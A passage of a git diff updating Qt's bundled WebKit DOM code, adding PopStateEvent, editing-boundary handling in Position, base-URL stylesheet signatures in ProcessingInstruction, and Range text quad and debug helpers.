     virtual void setSelectedState(bool) = 0;
 
diff --git a/src/3rdparty/webkit/WebCore/dom/OverflowEvent.idl b/src/3rdparty/webkit/WebCore/dom/OverflowEvent.idl
index 4a1bed5..0b4f5c6 100644
--- a/src/3rdparty/webkit/WebCore/dom/OverflowEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/OverflowEvent.idl
@@ -24,9 +24,7 @@
  */
 module events {
 
-    interface [
-        GenerateConstructor
-    ] OverflowEvent : Event {
+    interface OverflowEvent : Event {
         const unsigned short HORIZONTAL = 0;
         const unsigned short VERTICAL   = 1;
         const unsigned short BOTH       = 2;
diff --git a/src/3rdparty/webkit/WebCore/dom/PageTransitionEvent.idl b/src/3rdparty/webkit/WebCore/dom/PageTransitionEvent.idl
index a09f94b..8d70f67 100644
--- a/src/3rdparty/webkit/WebCore/dom/PageTransitionEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/PageTransitionEvent.idl
@@ -25,9 +25,7 @@
 
 module events {
 
-    interface [
-        GenerateConstructor
-    ] PageTransitionEvent : Event {
+    interface PageTransitionEvent : Event {
 
         readonly attribute boolean persisted;
 
diff --git a/src/3rdparty/webkit/WebCore/dom/PopStateEvent.cpp b/src/3rdparty/webkit/WebCore/dom/PopStateEvent.cpp
new file mode 100644
index 0000000..b9ad862
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/PopStateEvent.cpp
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ */
+
+#include "config.h"
+#include "PopStateEvent.h"
+
+#include "EventNames.h"
+
+namespace WebCore {
+
+PopStateEvent::PopStateEvent(PassRefPtr<SerializedScriptValue> stateObject)
+    : Event(eventNames().popstateEvent, false, true)
+    , m_stateObject(stateObject)
+{
+}
+    
+void PopStateEvent::initPopStateEvent(const AtomicString& type, bool canBubble, bool cancelable, PassRefPtr<SerializedScriptValue> stateObject)
+{
+    if (dispatched())
+        return;
+    
+    initEvent(type, canBubble, cancelable);
+
+    m_stateObject = stateObject;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/PopStateEvent.h b/src/3rdparty/webkit/WebCore/dom/PopStateEvent.h
new file mode 100644
index 0000000..2fb8d06
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/PopStateEvent.h
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ */
+
+#ifndef PopStateEvent_h
+#define PopStateEvent_h
+
+#include "Event.h"
+#include "SerializedScriptValue.h"
+
+namespace WebCore {
+
+class SerializedScriptValue;
+
+class PopStateEvent : public Event {
+public:
+    static PassRefPtr<PopStateEvent> create(PassRefPtr<SerializedScriptValue> stateObject)
+    {
+        return adoptRef(new PopStateEvent(stateObject));
+    }
+
+    void initPopStateEvent(const AtomicString& type, bool canBubble, bool cancelable, PassRefPtr<SerializedScriptValue>);
+    bool isPopStateEvent() const { return true; }
+
+    SerializedScriptValue* state() const { return m_stateObject.get(); }    
+
+private:
+    PopStateEvent(PassRefPtr<SerializedScriptValue>);
+
+    RefPtr<SerializedScriptValue> m_stateObject;
+};
+
+} // namespace WebCore
+
+#endif // PopStateEvent_h
diff --git a/src/3rdparty/webkit/WebCore/dom/PopStateEvent.idl b/src/3rdparty/webkit/WebCore/dom/PopStateEvent.idl
new file mode 100644
index 0000000..f9c9a71
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/PopStateEvent.idl
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ */
+
+module events {
+
+    interface PopStateEvent : Event {
+        [Custom] void initPopStateEvent(in DOMString typeArg, 
+                               in boolean canBubbleArg, 
+                               in boolean cancelableArg, 
+                               in any stateArg);
+                               
+        readonly attribute [V8CustomGetter] any state;
+    };
+
+}
diff --git a/src/3rdparty/webkit/WebCore/dom/Position.cpp b/src/3rdparty/webkit/WebCore/dom/Position.cpp
index 060b28c..b471a99 100644
--- a/src/3rdparty/webkit/WebCore/dom/Position.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Position.cpp
@@ -307,6 +307,27 @@ bool Position::atLastEditingPositionForNode() const
     return m_offset >= lastOffsetForEditing(node());
 }
 
+// A position is considered at editing boundary if one of the following is true:
+// 1. It is the first position in the node and the next visually equivalent position
+//    is non editable.
+// 2. It is the last position in the node and the previous visually equivalent position
+//    is non editable.
+// 3. It is an editable position and both the next and previous visually equivalent
+//    positions are both non editable.
+bool Position::atEditingBoundary() const
+{
+    Position nextPosition = downstream(CanCrossEditingBoundary);
+    if (atFirstEditingPositionForNode() && nextPosition.isNotNull() && !nextPosition.node()->isContentEditable())
+        return true;
+        
+    Position prevPosition = upstream(CanCrossEditingBoundary);
+    if (atLastEditingPositionForNode() && prevPosition.isNotNull() && !prevPosition.node()->isContentEditable())
+        return true;
+        
+    return nextPosition.isNotNull() && !nextPosition.node()->isContentEditable()
+        && prevPosition.isNotNull() && !prevPosition.node()->isContentEditable();
+}
+
 bool Position::atStartOfTree() const
 {
     if (isNull())
@@ -448,7 +469,7 @@ static bool isStreamer(const PositionIterator& pos)
 // and downstream() will return the right one.
 // Also, upstream() will return [boundary, 0] for any of the positions from [boundary, 0] to the first candidate
 // in boundary, where endsOfNodeAreVisuallyDistinctPositions(boundary) is true.
-Position Position::upstream() const
+Position Position::upstream(EditingBoundaryCrossingRule rule) const
 {
     Node* startNode = node();
     if (!startNode)
@@ -460,6 +481,7 @@ Position Position::upstream() const
     PositionIterator currentPos = lastVisible;
     bool startEditable = startNode->isContentEditable();
     Node* lastNode = startNode;
+    bool boundaryCrossed = false;
     for (; !currentPos.atStart(); currentPos.decrement()) {
         Node* currentNode = currentPos.node();
         
@@ -468,12 +490,15 @@ Position Position::upstream() const
         if (currentNode != lastNode) {
             // Don't change editability.
             bool currentEditable = currentNode->isContentEditable();
-            if (startEditable != currentEditable)
-                break;
+            if (startEditable != currentEditable) {
+                if (rule == CannotCrossEditingBoundary)
+                    break;
+                boundaryCrossed = true;
+            }
             lastNode = currentNode;
         }
 
-        // If we've moved to a position that is visually disinct, return the last saved position. There 
+        // If we've moved to a position that is visually distinct, return the last saved position. There 
         // is code below that terminates early if we're *about* to move to a visually distinct position.
         if (endsOfNodeAreVisuallyDistinctPositions(currentNode) && currentNode != boundary)
             return lastVisible;
@@ -483,6 +508,11 @@ Position Position::upstream() const
         if (!renderer || renderer->style()->visibility() != VISIBLE)
             continue;
                  
+        if (rule == CanCrossEditingBoundary && boundaryCrossed) {
+            lastVisible = currentPos;
+            break;
+        }
+        
         // track last visible streamer position
         if (isStreamer(currentPos))
             lastVisible = currentPos;
@@ -560,7 +590,7 @@ Position Position::upstream() const
 // and upstream() will return the left one.
 // Also, downstream() will return the last position in the last atomic node in boundary for all of the positions
 // in boundary after the last candidate, where endsOfNodeAreVisuallyDistinctPositions(boundary).
-Position Position::downstream() const
+Position Position::downstream(EditingBoundaryCrossingRule rule) const
 {
     Node* startNode = node();
     if (!startNode)
@@ -572,6 +602,7 @@ Position Position::downstream() const
     PositionIterator currentPos = lastVisible;
     bool startEditable = startNode->isContentEditable();
     Node* lastNode = startNode;
+    bool boundaryCrossed = false;
     for (; !currentPos.atEnd(); currentPos.increment()) {   
         Node* currentNode = currentPos.node();
         
@@ -580,8 +611,12 @@ Position Position::downstream() const
         if (currentNode != lastNode) {
             // Don't change editability.
             bool currentEditable = currentNode->isContentEditable();
-            if (startEditable != currentEditable)
-                break;
+            if (startEditable != currentEditable) {
+                if (rule == CannotCrossEditingBoundary)
+                    break;
+                boundaryCrossed = true;
+            }
+                
             lastNode = currentNode;
         }
 
@@ -604,6 +639,11 @@ Position Position::downstream() const
         if (!renderer || renderer->style()->visibility() != VISIBLE)
             continue;
             
+        if (rule == CanCrossEditingBoundary && boundaryCrossed) {
+            lastVisible = currentPos;
+            break;
+        }
+        
         // track last visible streamer position
         if (isStreamer(currentPos))
             lastVisible = currentPos;
@@ -704,10 +744,18 @@ bool Position::isCandidate() const
     if (isTableElement(node()) || editingIgnoresContent(node()))
         return (atFirstEditingPositionForNode() || atLastEditingPositionForNode()) && !nodeIsUserSelectNone(node()->parent());
 
-    if (!node()->hasTagName(htmlTag) && renderer->isBlockFlow() && !hasRenderedNonAnonymousDescendantsWithHeight(renderer) &&
-       (toRenderBox(renderer)->height() || node()->hasTagName(bodyTag)))
-        return atFirstEditingPositionForNode() && !nodeIsUserSelectNone(node());
-    
+    if (m_anchorNode->hasTagName(htmlTag))
+        return false;
+        
+    if (renderer->isBlockFlow()) {
+        if (toRenderBlock(renderer)->height() || m_anchorNode->hasTagName(bodyTag)) {
+            if (!Position::hasRenderedNonAnonymousDescendantsWithHeight(renderer))
+                return atFirstEditingPositionForNode() && !Position::nodeIsUserSelectNone(node());
+            return m_anchorNode->isContentEditable() && !Position::nodeIsUserSelectNone(node()) && atEditingBoundary();
+        }
+    } else
+        return m_anchorNode->isContentEditable() && !Position::nodeIsUserSelectNone(node()) && atEditingBoundary();
+
     return false;
 }
 
@@ -949,10 +997,32 @@ void Position::getInlineBoxAndOffset(EAffinity affinity, TextDirection primaryDi
 {
     caretOffset = m_offset;
     RenderObject* renderer = node()->renderer();
+          
     if (!renderer->isText()) {
-        inlineBox = renderer->isBox() ? toRenderBox(renderer)->inlineBoxWrapper() : 0;
-        if (!inlineBox || (caretOffset > inlineBox->caretMinOffset() && caretOffset < inlineBox->caretMaxOffset()))
+        if (!renderer->isRenderButton() && renderer->isBlockFlow() && hasRenderedNonAnonymousDescendantsWithHeight(renderer)) {
+            bool lastPosition = caretOffset == lastOffsetInNode(node());
+            Node* startNode = lastPosition ? node()->childNode(caretOffset - 1) : node()->childNode(caretOffset);
+            while (startNode && (!startNode->renderer() || (startNode->isTextNode() && toRenderText(startNode->renderer())->isAllCollapsibleWhitespace())))
+                startNode = (lastPosition)? startNode->previousSibling(): startNode->nextSibling();
+            if (startNode) {
+                Position pos(startNode, 0);
+                pos = pos.downstream(CanCrossEditingBoundary);
+                pos.getInlineBoxAndOffset(UPSTREAM, primaryDirection, inlineBox, caretOffset);
+                if (lastPosition && inlineBox)
+                    caretOffset = inlineBox->caretMaxOffset();
+                return;
+            }
+        }
+        inlineBox = 0;
+        if (renderer->isBox()) {
+            inlineBox = toRenderBox(renderer)->inlineBoxWrapper();
+            if (!inlineBox || (caretOffset > inlineBox->caretMinOffset() && caretOffset < inlineBox->caretMaxOffset()))
+                return;
+        } else if (!node()->isLink() && node()->isContentEditable()) {
+            Position pos = positionInParentBeforeNode(node()).upstream();
+            pos.getInlineBoxAndOffset(DOWNSTREAM, primaryDirection, inlineBox, caretOffset);
             return;
+        }
     } else {
         RenderText* textRenderer = toRenderText(renderer);
 
@@ -971,12 +1041,13 @@ void Position::getInlineBoxAndOffset(EAffinity affinity, TextDirection primaryDi
                 return;
             }
 
-            if ((caretOffset == caretMinOffset) ^ (affinity == UPSTREAM))
+            if (((caretOffset == caretMaxOffset) ^ (affinity == DOWNSTREAM))
+                || ((caretOffset == caretMinOffset) ^ (affinity == UPSTREAM)))
                 break;
 
             candidate = box;
         }
-        if (candidate && !box && affinity == DOWNSTREAM) {
+        if (candidate && candidate == textRenderer->lastTextBox() && affinity == DOWNSTREAM) {
             box = searchAheadForBetterMatch(textRenderer);
             if (box)
                 caretOffset = box->caretMinOffset();
@@ -1106,8 +1177,10 @@ void Position::formatForDebugger(char* buffer, unsigned length) const
 
 void Position::showTreeForThis() const
 {
-    if (node())
+    if (node()) {
         node()->showTreeForThis();
+        fprintf(stderr, "offset: %d\n", m_offset);
+    }
 }
 
 #endif
diff --git a/src/3rdparty/webkit/WebCore/dom/Position.h b/src/3rdparty/webkit/WebCore/dom/Position.h
index c08872d..fc5849f 100644
--- a/src/3rdparty/webkit/WebCore/dom/Position.h
+++ b/src/3rdparty/webkit/WebCore/dom/Position.h
@@ -56,6 +56,11 @@ public:
         PositionIsBeforeAnchor
     };
 
+    enum EditingBoundaryCrossingRule {
+        CanCrossEditingBoundary,
+        CannotCrossEditingBoundary
+    };
+    
     Position()
         : m_offset(0)
         , m_anchorType(PositionIsOffsetInAnchor)
@@ -130,6 +135,9 @@ public:
     bool atFirstEditingPositionForNode() const;
     bool atLastEditingPositionForNode() const;
 
+    // Returns true if the visually equivalent positions around have different editability
+    bool atEditingBoundary() const;
+    
     bool atStartOfTree() const;
     bool atEndOfTree() const;
 
@@ -139,8 +147,8 @@ public:
     Position trailingWhitespacePosition(EAffinity, bool considerNonCollapsibleWhitespace = false) const;
     
     // These return useful visually equivalent positions.
-    Position upstream() const;
-    Position downstream() const;
+    Position upstream(EditingBoundaryCrossingRule = CannotCrossEditingBoundary) const;
+    Position downstream(EditingBoundaryCrossingRule = CannotCrossEditingBoundary) const;
     
     bool isCandidate() const;
     bool inRenderedText() const;
diff --git a/src/3rdparty/webkit/WebCore/dom/PositionIterator.cpp b/src/3rdparty/webkit/WebCore/dom/PositionIterator.cpp
index 8d881ba..f5b65f5 100644
--- a/src/3rdparty/webkit/WebCore/dom/PositionIterator.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/PositionIterator.cpp
@@ -156,10 +156,14 @@ bool PositionIterator::isCandidate() const
     if (isTableElement(m_anchorNode) || editingIgnoresContent(m_anchorNode))
         return (atStartOfNode() || atEndOfNode()) && !Position::nodeIsUserSelectNone(m_anchorNode->parent());
 
-    if (!m_anchorNode->hasTagName(htmlTag) && renderer->isBlockFlow() && !Position::hasRenderedNonAnonymousDescendantsWithHeight(renderer) &&
-       (toRenderBlock(renderer)->height() || m_anchorNode->hasTagName(bodyTag)))
-        return atStartOfNode() && !Position::nodeIsUserSelectNone(m_anchorNode);
-    
+    if (!m_anchorNode->hasTagName(htmlTag) && renderer->isBlockFlow()) {
+        if (toRenderBlock(renderer)->height() || m_anchorNode->hasTagName(bodyTag)) {
+            if (!Position::hasRenderedNonAnonymousDescendantsWithHeight(renderer))
+                return atStartOfNode() && !Position::nodeIsUserSelectNone(m_anchorNode);
+            return m_anchorNode->isContentEditable() && !Position::nodeIsUserSelectNone(m_anchorNode) && Position(*this).atEditingBoundary();
+        }
+    }
+
     return false;
 }
 
diff --git a/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.cpp b/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.cpp
index 72993dd..92a2b40 100644
--- a/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.cpp
@@ -42,6 +42,7 @@ inline ProcessingInstruction::ProcessingInstruction(Document* document, const St
     , m_cachedSheet(0)
     , m_loading(false)
     , m_alternate(false)
+    , m_createdByParser(false)
 #if ENABLE(XSLT)
     , m_isXSL(false)
 #endif
@@ -138,7 +139,8 @@ void ProcessingInstruction::checkStyleSheet()
             // We need to make a synthetic XSLStyleSheet that is embedded.  It needs to be able
             // to kick off import/include loads that can hang off some parent sheet.
             if (m_isXSL) {
-                m_sheet = XSLStyleSheet::createEmbedded(this, m_localHref);
+                KURL finalURL(ParsedURLString, m_localHref);
+                m_sheet = XSLStyleSheet::createInline(this, finalURL);
                 m_loading = false;
             }
 #endif
@@ -196,24 +198,27 @@ bool ProcessingInstruction::sheetLoaded()
     return false;
 }
 
-void ProcessingInstruction::setCSSStyleSheet(const String& url, const String& charset, const CachedCSSStyleSheet* sheet)
+void ProcessingInstruction::setCSSStyleSheet(const String& href, const KURL& baseURL, const String& charset, const CachedCSSStyleSheet* sheet)
 {
 #if ENABLE(XSLT)
     ASSERT(!m_isXSL);
 #endif
-    RefPtr<CSSStyleSheet> newSheet = CSSStyleSheet::create(this, url, charset);
+    RefPtr<CSSStyleSheet> newSheet = CSSStyleSheet::create(this, href, baseURL, charset);
     m_sheet = newSheet;
-    parseStyleSheet(sheet->sheetText());
+    // We don't need the cross-origin security check here because we are
+    // getting the sheet text in "strict" mode. This enforces a valid CSS MIME
+    // type.
+    parseStyleSheet(sheet->sheetText(true));
     newSheet->setTitle(m_title);
     newSheet->setMedia(MediaList::create(newSheet.get(), m_media));
     newSheet->setDisabled(m_alternate);
 }
 
 #if ENABLE(XSLT)
-void ProcessingInstruction::setXSLStyleSheet(const String& url, const String& sheet)
+void ProcessingInstruction::setXSLStyleSheet(const String& href, const KURL& baseURL, const String& sheet)
 {
     ASSERT(m_isXSL);
-    m_sheet = XSLStyleSheet::create(this, url);
+    m_sheet = XSLStyleSheet::create(this, href, baseURL);
     parseStyleSheet(sheet);
 }
 #endif
diff --git a/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.h b/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.h
index 4b7dc86..fdb0ec9 100644
--- a/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.h
+++ b/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.h
@@ -68,9 +68,9 @@ private:
     virtual void removedFromDocument();
 
     void checkStyleSheet();
-    virtual void setCSSStyleSheet(const String& url, const String& charset, const CachedCSSStyleSheet*);
+    virtual void setCSSStyleSheet(const String& href, const KURL& baseURL, const String& charset, const CachedCSSStyleSheet*);
 #if ENABLE(XSLT)
-    virtual void setXSLStyleSheet(const String& url, const String& sheet);
+    virtual void setXSLStyleSheet(const String& href, const KURL& baseURL, const String& sheet);
 #endif
 
     bool isLoading() const;
diff --git a/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.idl b/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.idl
index 578b22e..efcc9c1 100644
--- a/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.idl
+++ b/src/3rdparty/webkit/WebCore/dom/ProcessingInstruction.idl
@@ -20,11 +20,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=5947E8F8-B5CB-4a51-B883-B91F344F1E13,
-        ImplementationUUID=7EEC0376-3D76-4643-A964-97B8AC1FB6D3
-    ] ProcessingInstruction : Node {
+    interface ProcessingInstruction : Node {
 
         // DOM Level 1
 
@@ -32,11 +28,8 @@ module core {
                  attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString data
                      setter raises(DOMException);
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         // interface LinkStyle from DOM Level 2 Style Sheets
         readonly attribute StyleSheet sheet;
-#endif
-
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/ProgressEvent.idl b/src/3rdparty/webkit/WebCore/dom/ProgressEvent.idl
index 2db72af..afdf3a2 100644
--- a/src/3rdparty/webkit/WebCore/dom/ProgressEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/ProgressEvent.idl
@@ -25,9 +25,7 @@
 
 module events {
 
-    interface [
-        GenerateConstructor
-    ] ProgressEvent : Event {
+    interface ProgressEvent : Event {
          readonly attribute boolean         lengthComputable;
          readonly attribute unsigned long   loaded;
          readonly attribute unsigned long   total;
diff --git a/src/3rdparty/webkit/WebCore/dom/QualifiedName.cpp b/src/3rdparty/webkit/WebCore/dom/QualifiedName.cpp
index 2c5f39a..795bdb6 100644
--- a/src/3rdparty/webkit/WebCore/dom/QualifiedName.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/QualifiedName.cpp
@@ -51,7 +51,7 @@ struct QNameComponentsTranslator {
 
 static QNameSet* gNameCache;
 
-QualifiedName::QualifiedName(const AtomicString& p, const AtomicString& l, const AtomicString& n)
+void QualifiedName::init(const AtomicString& p, const AtomicString& l, const AtomicString& n)
 {
     if (!gNameCache)
         gNameCache = new QNameSet;
@@ -62,6 +62,16 @@ QualifiedName::QualifiedName(const AtomicString& p, const AtomicString& l, const
         m_impl->ref();
 }
 
+QualifiedName::QualifiedName(const AtomicString& p, const AtomicString& l, const AtomicString& n)
+{
+    init(p, l, n);
+}
+
+QualifiedName::QualifiedName(const AtomicString& p, const char* l, const AtomicString& n)
+{
+    init(p, AtomicString(l), n);
+}
+
 void QualifiedName::deref()
 {
 #ifdef QNAME_DEFAULT_CONSTRUCTOR
diff --git a/src/3rdparty/webkit/WebCore/dom/QualifiedName.h b/src/3rdparty/webkit/WebCore/dom/QualifiedName.h
index 3b9f5c4..7581ba1 100644
--- a/src/3rdparty/webkit/WebCore/dom/QualifiedName.h
+++ b/src/3rdparty/webkit/WebCore/dom/QualifiedName.h
@@ -22,7 +22,7 @@
 #define QualifiedName_h
 
 #include "AtomicString.h"
-#include <wtf/HashFunctions.h>
+#include <wtf/HashTraits.h>
 
 namespace WebCore {
 
@@ -32,7 +32,7 @@ struct QualifiedNameComponents {
     StringImpl* m_namespace;
 };
 
-class QualifiedName {
+class QualifiedName : public FastAllocBase {
 public:
     class QualifiedNameImpl : public RefCounted<QualifiedNameImpl> {
     public:
@@ -57,6 +57,7 @@ public:
     };
 
     QualifiedName(const AtomicString& prefix, const AtomicString& localName, const AtomicString& namespaceURI);
+    QualifiedName(const AtomicString& prefix, const char* localName, const AtomicString& namespaceURI);
     ~QualifiedName() { deref(); }
 #ifdef QNAME_DEFAULT_CONSTRUCTOR
     QualifiedName() : m_impl(0) { }
@@ -88,6 +89,7 @@ public:
     static void init();
     
 private:
+    void init(const AtomicString& prefix, const AtomicString& localName, const AtomicString& namespaceURI);
     void ref() const { m_impl->ref(); }
     void deref();
     
diff --git a/src/3rdparty/webkit/WebCore/dom/Range.cpp b/src/3rdparty/webkit/WebCore/dom/Range.cpp
index 122130d..52d1785 100644
--- a/src/3rdparty/webkit/WebCore/dom/Range.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Range.cpp
@@ -666,7 +666,7 @@ PassRefPtr<DocumentFragment> Range::processContents(ActionType action, Exception
     }
 
     // Complex case: Start and end containers are different.
-    // There are three possiblities here:
+    // There are three possibilities here:
     // 1. Start container == commonRoot (End container must be a descendant)
     // 2. End container == commonRoot (Start container must be a descendant)
     // 3. Neither is commonRoot, they are both descendants
@@ -1417,7 +1417,7 @@ void Range::surroundContents(PassRefPtr<Node> passNewParent, ExceptionCode& ec)
     // although this will fail below for another reason).
     if (parentOfNewParent->isCharacterDataNode())
         parentOfNewParent = parentOfNewParent->parentNode();
-    if (!parentOfNewParent->childTypeAllowed(newParent->nodeType())) {
+    if (!parentOfNewParent || !parentOfNewParent->childTypeAllowed(newParent->nodeType())) {
         ec = HIERARCHY_REQUEST_ERR;
         return;
     }
@@ -1595,12 +1595,32 @@ IntRect Range::boundingBox()
 
 void Range::textRects(Vector<IntRect>& rects, bool useSelectionHeight)
 {
-    if (!m_start.container() || !m_end.container())
+    Node* startContainer = m_start.container();
+    Node* endContainer = m_end.container();
+
+    if (!startContainer || !endContainer)
         return;
 
+    Node* stopNode = pastLastNode();
+    for (Node* node = firstNode(); node != stopNode; node = node->traverseNextNode()) {
+        RenderObject* r = node->renderer();
+        if (!r || !r->isText())
+            continue;
+        RenderText* renderText = toRenderText(r);
+        int startOffset = node == startContainer ? m_start.offset() : 0;
+        int endOffset = node == endContainer ? m_end.offset() : numeric_limits<int>::max();
+        renderText->absoluteRectsForRange(rects, startOffset, endOffset, useSelectionHeight);
+    }
+}
+
+void Range::textQuads(Vector<FloatQuad>& quads, bool useSelectionHeight)
+{
     Node* startContainer = m_start.container();
     Node* endContainer = m_end.container();
 
+    if (!startContainer || !endContainer)
+        return;
+
     Node* stopNode = pastLastNode();
     for (Node* node = firstNode(); node != stopNode; node = node->traverseNextNode()) {
         RenderObject* r = node->renderer();
@@ -1608,8 +1628,8 @@ void Range::textRects(Vector<IntRect>& rects, bool useSelectionHeight)
             continue;
         RenderText* renderText = toRenderText(r);
         int startOffset = node == startContainer ? m_start.offset() : 0;
-        int endOffset = node == endContainer ? m_end.offset() : INT_MAX;
-        renderText->absoluteRectsForRange(rects, startOffset, endOffset, useSelectionHeight);
+        int endOffset = node == endContainer ? m_end.offset() : numeric_limits<int>::max();
+        renderText->absoluteQuadsForRange(quads, startOffset, endOffset, useSelectionHeight);
     }
 }
 
@@ -1910,3 +1930,17 @@ void Range::getBorderAndTextQuads(Vector<FloatQuad>& quads) const
 }
 
 } // namespace WebCore
+
+#ifndef NDEBUG
+
+void showTree(const WebCore::Range* range)
+{
+    if (range && range->boundaryPointsValid()) {
+        WebCore::Position start = range->startPosition();
+        WebCore::Position end = range->endPosition();
+        start.node()->showTreeAndMark(start.node(), "S", end.node(), "E");
+        fprintf(stderr, "start offset: %d, end offset: %d\n", start.deprecatedEditingOffset(), end.deprecatedEditingOffset());
+    }
+}
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/dom/Range.h b/src/3rdparty/webkit/WebCore/dom/Range.h
index e2e282b..fd0f66a 100644
--- a/src/3rdparty/webkit/WebCore/dom/Range.h
+++ b/src/3rdparty/webkit/WebCore/dom/Range.h
@@ -105,7 +105,10 @@ public:
     Node* shadowTreeRootNode() const;
 
     IntRect boundingBox();
+    // Not transform-friendly
     void textRects(Vector<IntRect>&, bool useSelectionHeight = false);
+    // Transform-friendly
+    void textQuads(Vector<FloatQuad>&, bool useSelectionHeight = false);
 
     void nodeChildrenChanged(ContainerNode*);
     void nodeWillBeRemoved(Node*);
@@ -155,4 +158,9 @@ inline bool operator!=(const Range& a, const Range& b) { return !(a == b); }
 
 } // namespace
 
+#ifndef NDEBUG
+// Outside the WebCore namespace for ease of invocation from gdb.
+void showTree(const WebCore::Range*);
+#endif
+
 #endif
